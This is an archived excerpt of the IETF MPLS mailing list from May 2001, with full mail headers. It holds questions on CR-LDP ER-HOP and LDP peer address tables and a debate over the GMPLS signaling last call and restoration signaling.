	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA28425
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 02:17:43 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqxt27511;
	Mon, 28 May 2001 06:16:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkqxt11604
	for mpls-outgoing; Mon, 28 May 2001 06:15:28 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqxt11594
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 06:15:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqxs11799
	for <mpls@UU.NET>; Mon, 28 May 2001 06:14:58 GMT
Received: from saraswathi.hclt.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.6])
	id QQkqxs25797
	for <mpls@UU.NET>; Mon, 28 May 2001 06:14:58 GMT
Received: from gayatri.hclt.com (GAYATRI [192.168.232.199]) by saraswathi.hclt.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id K82S6ZST; Mon, 28 May 2001 11:57:38 +0530
Received: from MALLIKPC ([192.168.232.162]) by gayatri.hclt.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id LVHSLHDN; Mon, 28 May 2001 11:42:34 +0530
From: "gopinathg" <gopinathg@hclt.com>
To: <mpls@UU.NET>, <eric.gray@sandburst.com>
Subject: ER-HOP in  CR-LDP
Date: Mon, 28 May 2001 11:51:31 +0530
Message-ID: <001301c0e73e$707e06f0$a2e8a8c0@hclt.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi

  Does  ER-HOP contains only Router-Id or any of its interface addresses?
If it contains interface addresses then will it be MPLS capable interface
addresses or
can be non-mpls capable addresses also.



From owner-mpls@UU.NET  Mon May 28 02:25:49 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA29007
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 02:25:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqxt11279;
	Mon, 28 May 2001 06:24:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkqxt12431
	for mpls-outgoing; Mon, 28 May 2001 06:24:15 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqxt12417
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 06:23:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqxt24861
	for <mpls@UU.NET>; Mon, 28 May 2001 06:23:29 GMT
Received: from saraswathi.hclt.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.6])
	id QQkqxt09239
	for <mpls@UU.NET>; Mon, 28 May 2001 06:23:28 GMT
Received: from gayatri.hclt.com (GAYATRI [192.168.232.199]) by saraswathi.hclt.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id K82S6ZVQ; Mon, 28 May 2001 12:06:09 +0530
Received: from MALLIKPC ([192.168.232.162]) by gayatri.hclt.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id LVHSLH1L; Mon, 28 May 2001 11:51:03 +0530
From: "gopinathg" <gopinathg@hclt.com>
To: <mpls@UU.NET>, <eric.gray@sandburst.com>
Subject: Address Table
Date: Mon, 28 May 2001 12:00:01 +0530
Message-ID: <001401c0e73f$a064f260$a2e8a8c0@hclt.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi

 what does the peer addresses table in LDP specify ?

MPLS inteface addresses of the peer alone or  non-mpls interface addresses
or the peer also?.



From owner-mpls@UU.NET  Mon May 28 03:16:59 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA01733
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 03:16:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqxx12914;
	Mon, 28 May 2001 07:15:46 GMT
Received: by mail-control.mail.uu.net 
	id QQkqxx05836
	for mpls-outgoing; Mon, 28 May 2001 07:15:13 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqxx05683
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 07:15:01 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqxw23687
	for <mpls@UU.NET>; Mon, 28 May 2001 07:14:55 GMT
Received: from penguin-ext.wise.edt.ericsson.se by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	id QQkqxw03712
	for <mpls@UU.NET>; Mon, 28 May 2001 07:14:54 GMT
Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f4S7EqO02908
	for <mpls@UU.NET>; Mon, 28 May 2001 09:14:53 +0200 (MEST)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Mon May 28 09:14:51 2001 +0200
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <G9XC6WQJ>; Mon, 28 May 2001 09:09:39 +0200
Message-ID: <F005CD411D18D3119C8F00508B08748005D42851@ehubunt100.eth.ericsson.se>
From: "Gabor Korossy (ETH)" <Gabor.Korossy@eth.ericsson.se>
To: "'jplonka@gblx.net'" <jplonka@gblx.net>,
        "'Naidu, Venkata'"
	 <Venkata.Naidu@Marconi.com>
Cc: "'Shawn H'" <sah5@hotmail.com>, "'mpls@UU.NET'" <mpls@UU.NET>
Subject: RE: [MPLS-wg] MPLS in today's networks
Date: Mon, 28 May 2001 09:14:45 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

You might wanted to say "mesh" ;-)
/Gabor

From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Jonathon Plonka

...
>since May of 1999 with a full US mess completed in June 
                              ---------
...


From owner-mpls@UU.NET  Mon May 28 05:47:16 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA02617
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 05:47:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqyh00753;
	Mon, 28 May 2001 09:46:12 GMT
Received: by mail-control.mail.uu.net 
	id QQkqyh26931
	for mpls-outgoing; Mon, 28 May 2001 09:45:28 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqyh26920
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 09:45:09 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqyh19653
	for <mpls@UU.NET>; Mon, 28 May 2001 09:45:01 GMT
Received: from saraswathi.hclt.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.6])
	id QQkqyg09121
	for <mpls@UU.NET>; Mon, 28 May 2001 09:44:59 GMT
Received: from gayatri.hclt.com (GAYATRI [192.168.232.199]) by saraswathi.hclt.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id K82S6670; Mon, 28 May 2001 15:27:25 +0530
Received: from MALLIKPC ([192.168.232.162]) by gayatri.hclt.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id LVHSLHXQ; Mon, 28 May 2001 15:12:24 +0530
From: "gopinathg" <gopinathg@hclt.com>
To: <mpls@UU.NET>, "'phani'" <phanir@netbrahma.com>, <eric.gray@sandburst.com>
Subject: RE: Address Table
Date: Mon, 28 May 2001 15:21:07 +0530
Message-ID: <001501c0e75b$b91a4280$a2e8a8c0@hclt.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <3B120A9D.D04283B6@netbrahma.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr2.ash.ops.us.uu.net id QQkqyh00753
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id FAA02617

Hello all,

I will state the implications of this problem more elaborately.

Suppose 2 LSRs are connected by a pair of interfaces, one of which is not
MPLS capable. Assume that the Next Hop (for a FEC) resolves to the non-mpls
interface (due to routing protocol state info.). Now if the peer has
advertised the non-MPLS address also, then we can find out that the NH
actually corresponds to the particular LSR and use its' LSRID (stored in the
peer table) to create a session with it/or use the existing session with
peer LSR. If on the other hand, Non-Mpls interface addresses are not
advertised, then we will not be able to do so.

Also, in CR-LDP, the ER-HOP can be the address of a non-MPLS interface of
the peer. In this case also, we wouldn’t be able to map on to the
corresponding peer.

Hence wouldn’t it be useful to advertise non-mpls interface address also in
the address message.

Thanks in advance

Regards,
gopinathg




gopinathg wrote:

> Hi
>
>  what does the peer addresses table in LDP specify ?
>
> MPLS inteface addresses of the peer alone or  non-mpls interface addresses
> or the peer also?.

Hi,
         Yes  each  router maintains an address list  for each of it's LDP
peers with which it maintains an LDP session.  It provides details of
interfaces addresses for a given adjacent LDP peer.

  Definitely , it makes sense in maintaining address list of interfaces
which
are  enabled for MPLS.


Bye
Phani.R



From owner-mpls@UU.NET  Mon May 28 09:20:45 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA04393
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 09:20:45 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqyv29739;
	Mon, 28 May 2001 13:19:22 GMT
Received: by mail-control.mail.uu.net 
	id QQkqyv01730
	for mpls-outgoing; Mon, 28 May 2001 13:18:49 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqyv01716
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 13:18:35 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqyv16471
	for <mpls@UU.NET>; Mon, 28 May 2001 13:17:53 GMT
Received: from relay1.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQkqyv26740
	for <mpls@UU.NET>; Mon, 28 May 2001 13:17:47 GMT
Received: from bemail05.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with SMTP id f4SDGxe29745;
	Mon, 28 May 2001 15:16:59 +0200 (MET DST)
Received: from alcatel.be ([138.203.67.90]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id C1256A5A.0048EE70; Mon, 28 May 2001 15:16:36 +0200
Message-ID: <3B124FB9.D2574256@alcatel.be>
Date: Mon, 28 May 2001 15:16:41 +0200
From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Organization: Alcatel Bell - IPO NSG
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Mannie, Eric" <Eric.Mannie@ebone.com>
CC: "'Ash, Gerald R (Jerry)'" <gash@att.com>,
        "'v.sharma@ieee.org'" <v.sharma@ieee.org>, ccamp@ops.ietf.org,
        mpls@UU.NET, "'Thomas D. Nadeau'" <tnadeau@cisco.com>,
        Yakov Rekhter <yakov@juniper.net>,
        Bala Rajagopalan <braja@tellium.com>, John Drake <jdrake@calient.net>
Subject: Re: GMPLS Last Calls
References: <D52BF6463BA3D311BFA700508B63C5AA04214652@brumsgpnt01.gtsgroup.com>
Content-Type: multipart/mixed;
 boundary="------------4FD2C8306AEEA0289EDB6526"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------4FD2C8306AEEA0289EDB6526
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Eric,

Don't be so pessimistic...

I think (and as also proposed by Bala) that today LSP 
"provisioning" which is specified within the GMPLS-SIG 
can be associated with working, protection, shared-
protection LSP etc. Meaning there is not "semantic" 
associated with the LSP established through GMPLS so 
they can be used for any purpose.

"Restoration signalling" which can be implemented in 
many ways is today under discussion. Bala thinks about
a dedicated lighweight protocol but other solution are
feasible using current signalling protocol extensions 
or not. The good thing is that an open discussion has
been today engaged.

I don't see any problem with respect to GMPLS-SIG 
document over there. I strongly believe that the 
restoration issues can be proceeded indepedently 
from the current GMPLS drafts today on last call.  

- Dimitri.

"Mannie, Eric" wrote:
> 
> Hello Jerry
> 
> >correct, as I mentioned, SPs have been formally asked for their
> >*requirements*, but not on the GMPLS extensions
> 
> Sorry ! It is an OPEN process since the beginning, everybody can contribute
> and write a draft. There is no formal process where requirements from
> operators are asked for. I am not aware of any IETF rule about that !
> 
> You were welcome to work with us since 1.5 years but you never came to us.
> You cannot blame us that you never worked on it (we are not responsible for
> that)! This is true for the thousands of internet drafts being written at
> the IETF.
> 
> It is the responsibility of each company individually to decide if they want
> to contribute or not ! It is not the job of others companies to go to each
> possible operator/manufacturer and to lobby to have them involved.
> 
> Regards,
> 
> Eric
--------------4FD2C8306AEEA0289EDB6526
Content-Type: text/x-vcard; charset=us-ascii;
 name="dimitri.papadimitriou.vcf"
Content-Description: Card for Dimitri Papadimitriou
Content-Disposition: attachment;
 filename="dimitri.papadimitriou.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Dimitri;Papadimitriou Dimitri
tel;home:+32 2 3434361
tel;work:+32 3 2408491
x-mozilla-html:FALSE
url:http://www.alcatel.com
org:Alcatel Bell;IPO NSG - Antwerpen 
version:2.1
email;internet:dimitri.papadimitriou@alcatel.be
title:Optical Networking R&S - Senior Engineer
adr;quoted-printable:;;Francis Wellesplein, 1=0D=0AB-2018 Antwerpen;;;;BELGIUM
fn:Papadimitriou Dimitri
end:vcard

--------------4FD2C8306AEEA0289EDB6526--



From owner-mpls@UU.NET  Mon May 28 11:06:35 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA05209
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 11:06:35 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqzc22983;
	Mon, 28 May 2001 15:03:29 GMT
Received: by mail-control.mail.uu.net 
	id QQkqzc10359
	for mpls-outgoing; Mon, 28 May 2001 15:02:57 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqzc10309
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 15:02:49 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqzc08197
	for <mpls@UU.NET>; Mon, 28 May 2001 15:02:41 GMT
Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkqzc16632
	for <mpls@UU.NET>; Mon, 28 May 2001 15:02:41 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f4SF0Oi11232;
	Mon, 28 May 2001 11:00:24 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <LSMXXL6M>; Mon, 28 May 2001 11:04:21 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D02204040198225A@mail1.tellium.com>
From: Bala Rajagopalan <BRaja@tellium.com>
To: "'Ping Pan'" <pingpan@juniper.net>, Bala Rajagopalan <BRaja@tellium.com>
Cc: ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Mon, 28 May 2001 11:04:21 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

hi ping:

The precise problem addressed and the network
node capabilities are described in
our draft 

http://www.ietf.org/internet-drafts/draft-bala-restoration-signaling-00.txt

Regards,



Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: Ping Pan [mailto:pingpan@juniper.net]
> Sent: Sunday, May 27, 2001 2:08 PM
> To: Bala Rajagopalan
> Cc: 'C. R. Kalmanek'; ccamp@ops.ietf.org; mpls@UU.NET
> Subject: Re: GMPLS Last Calls
> 
> 
> Bala Rajagopalan wrote:
> > 
> > Hi,
> > 
> > There are two aspects to this problem:
> > 
> > Pre-establishment of protection paths: This
> > is something requiring signaling support during
> > provisioning. Don't see any problem in supporting
> > this under the current GMPLS framework.
> > 
> > Real-time restoration signaling: Our
> > view is that a dedicated lightweight protocol
> > is appropriate. (of course, there are other
> > views on this :-). )
> > 
> 
> Hi,
> 
> Many backbone links are SONET, which can redirect traffic to a backup
> channel within 50 msec. This is the requirement that we are 
> dealing here
> in MPLS. So in backbone, we have to rely on pre-established LSP' for
> restoration. I doubt there is any simple method for network nodes to
> detect link failure, setup a new session and adjust all sort 
> of stuff on
> *real-time*.  I could be wrong. Does anybody have the 
> measurement timing
> data on ATM crankback?
> 
> IMHO, the only reason for using real-time restoration signaling is to
> satisfy end-user applications, where based on the network 
> feedback, the
> user application can apply various adaptive mechanisms to renew
> sessions. I don't think this is the within the framework of MPLS.
> 
> 2 cents,
> 
> - Ping
> 
> > I don't see an obvious show-stopper here w.r.t
> > progressing the current drafts for last call.
> > 
> > Regards,
> > 
> > Bala Rajagopalan
> > Tellium, Inc.
> > 2 Crescent Place
> > P.O. Box 901
> > Oceanport, NJ 07757-0901
> > Tel: (732) 923-4237
> > Fax: (732) 923-9804
> > Email: braja@tellium.com
> >
> 


From owner-mpls@UU.NET  Mon May 28 15:39:06 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA06610
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 15:39:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqzu24491;
	Mon, 28 May 2001 19:37:33 GMT
Received: by mail-control.mail.uu.net 
	id QQkqzu29212
	for mpls-outgoing; Mon, 28 May 2001 19:37:01 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqzu29199
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 19:36:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqzu27132
	for <mpls@UU.NET>; Mon, 28 May 2001 19:35:34 GMT
Received: from johnson.mail.mindspring.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: johnson.mail.mindspring.net [207.69.200.177])
	id QQkqzu22179
	for <mpls@UU.NET>; Mon, 28 May 2001 19:35:34 GMT
Received: from oemcomputer (pool1146.cvx21-bradley.dialup.earthlink.net [209.179.196.126])
	by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id PAA19840;
	Mon, 28 May 2001 15:35:07 -0400 (EDT)
Received: by localhost with Microsoft MAPI; Mon, 28 May 2001 12:59:28 -0700
Message-ID: <01C0E776.073EFEA0.vsharma87@yahoo.com>
From: Vishal Sharma <vsharma87@yahoo.com>
Reply-To: "v.sharma@ieee.org" <v.sharma@ieee.org>
To: "'Dimitri Papadimitriou'" <dimitri.papadimitriou@alcatel.be>,
        "Mannie, Eric" <Eric.Mannie@ebone.com>
Cc: "'Ash, Gerald R (Jerry)'" <gash@att.com>,
        "ccamp@ops.ietf.org"
	 <ccamp@ops.ietf.org>,
        "mpls@UU.NET" <mpls@UU.NET>, "'Thomas D. Nadeau'" <tnadeau@cisco.com>,
        Yakov Rekhter <yakov@juniper.net>,
        Bala Rajagopalan <braja@tellium.com>
Cc: John Drake <jdrake@calient.net>
Subject: RE: GMPLS Last Calls
Date: Mon, 28 May 2001 12:59:27 -0700
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Dimitri, Bala,

I agree with your philosopy. Especally the part that points out that there are 
no
semantics associated with an LSP setup via GMPLS signaling, as currently
defined. Therefore, any type of LSP (working, protect, shared, etc. ) can be
established with GMPLS signaling.

The issue of restoration signaling and how to associate LSPs with working or
protection routes is something that can be (and in fact has been; at least in 
the
MPLS, IPO, and TE WGs) worked on in parallel.

In my view, the issue being raised by Chuck, Jerry, Eve, and others wrt 
restoration is
whether the current
signaling specs. should specify restoration signaling as well, and whether it
would be possible to completely isolate restoration signaling from GMPLS-SIG
in such a way that later developments of restoration signaling do not affect
GMPLS-SIG. You've said that you feel strongly that these can be decoupled.

I feel that it might be worth spending some CPU cycles to make sure that
this is the case (or is largely the case), since it saves considerable 
retrofitting
in the future. When we began work on the GMPLS SIG specs. over a year ago,
restoration was only just beginning to surface in the IETF, and it is only in 
the
last 6 months or so that there has be greater focus on it. So it makes sense
to take a little time to examine GMPLS-SIG in the light of this.

As for Jerry's point, I think all he is saying is that over the last couple of 
IETFs,
there have been formal calls by the ADs, Acting ADs, and different WG advisors
to formally obtain SP input on several items (such as restoration, TE best 
practices,
etc.), but this does not seem to have been the case for GMPLS signaling specs.
(Of course, as Eric rightly pointed out, this does not prevent any SP or their
representatives from providing such input.)

Finally, and others can correct me if I am wrong, isn't there  a little bit of
contradiction in the IETF stance with respect to SP input, given that 
(technically) we
all come to the IETF, not as representatives of our companies, but rather
as individual contributors.

If so, I am a little confused about what it means
to ask for SP input? Are we asking for individual contributors from the
SP community, and hoping that they will bring in (by osmosis) the overall 
philosophy
of their company, or are we asking for companies to specifically send
their representatives to provide inputs on certain topics that have been
deemed to require SP input?

ADs, Chairs, any comments or clarifications?

Thanks,

-Vishal

On Monday, May 28, 2001 6:17 AM, Dimitri Papadimitriou 
[SMTP:dimitri.papadimitriou@alcatel.be] wrote:
> Eric,
>
> Don't be so pessimistic...
>
> I think (and as also proposed by Bala) that today LSP
> "provisioning" which is specified within the GMPLS-SIG
> can be associated with working, protection, shared-
> protection LSP etc. Meaning there is not "semantic"
> associated with the LSP established through GMPLS so
> they can be used for any purpose.
>
> "Restoration signalling" which can be implemented in
> many ways is today under discussion. Bala thinks about
> a dedicated lighweight protocol but other solution are
> feasible using current signalling protocol extensions
> or not. The good thing is that an open discussion has
> been today engaged.
>
> I don't see any problem with respect to GMPLS-SIG
> document over there. I strongly believe that the
> restoration issues can be proceeded indepedently
> from the current GMPLS drafts today on last call.
>
> - Dimitri.
>
> "Mannie, Eric" wrote:
> >
> > Hello Jerry
> >
> > >correct, as I mentioned, SPs have been formally asked for their
> > >*requirements*, but not on the GMPLS extensions
> >
> > Sorry ! It is an OPEN process since the beginning, everybody can contribute
> > and write a draft. There is no formal process where requirements from
> > operators are asked for. I am not aware of any IETF rule about that !
> >
> > You were welcome to work with us since 1.5 years but you never came to us.
> > You cannot blame us that you never worked on it (we are not responsible for
> > that)! This is true for the thousands of internet drafts being written at
> > the IETF.
> >
> > It is the responsibility of each company individually to decide if they
> > want
> > to contribute or not ! It is not the job of others companies to go to each
> > possible operator/manufacturer and to lobby to have them involved.
> >
> > Regards,
> >
> > Eric << File: dimitri.papadimitriou.vcf >> 


From owner-mpls@UU.NET  Mon May 28 20:39:28 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA08327
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 20:39:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrao04249;
	Tue, 29 May 2001 00:38:01 GMT
Received: by mail-control.mail.uu.net 
	id QQkrao00740
	for mpls-outgoing; Tue, 29 May 2001 00:37:29 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrao00731
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 00:37:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrao07976
	for <mpls@UU.NET>; Tue, 29 May 2001 00:36:34 GMT
Received: from gorilla.mchh.siemens.de by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gorilla.mchh.siemens.de [194.138.158.18])
	id QQkrao02375
	for <mpls@UU.NET>; Tue, 29 May 2001 00:36:32 GMT
Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226])
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id CAA12630;
	Tue, 29 May 2001 02:36:28 +0200 (MET DST)
Received: from mchh274e.demchh201e.icn.siemens.de ([139.21.200.84])
	by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id CAA14409;
	Tue, 29 May 2001 02:36:30 +0200 (MET DST)
Received: by MCHH274E with Internet Mail Service (5.5.2653.19)
	id <KH6Y09TR>; Tue, 29 May 2001 02:36:29 +0200
Message-ID: <AFC76835727DD211A7C20008C71EAF1E0232D1CB@MCHH230E>
From: Heiles Juergen <Juergen.Heiles@icn.siemens.de>
To: ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: GMPLS Last Calls 
Date: Tue, 29 May 2001 02:36:28 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I am sending this email again as comments on the GMPLS last call, as I havent received any response up to now on my comments.

Juergen

> -----Original Message-----
> From:	Heiles Juergen [SMTP:Juergen.Heiles@icn.siemens.de]
> Sent:	Monday, May 07, 2001 5:08 PM
> To:	mpls@UU.NET; ccamp@ops.ietf.org
> Subject:	Comments on G-PID
> 
> I have several comments on the G-PID defintion in draft-ietf-mpls-generalized-signaling-04.txt.
> 
> Juergen
> 
> 
> 
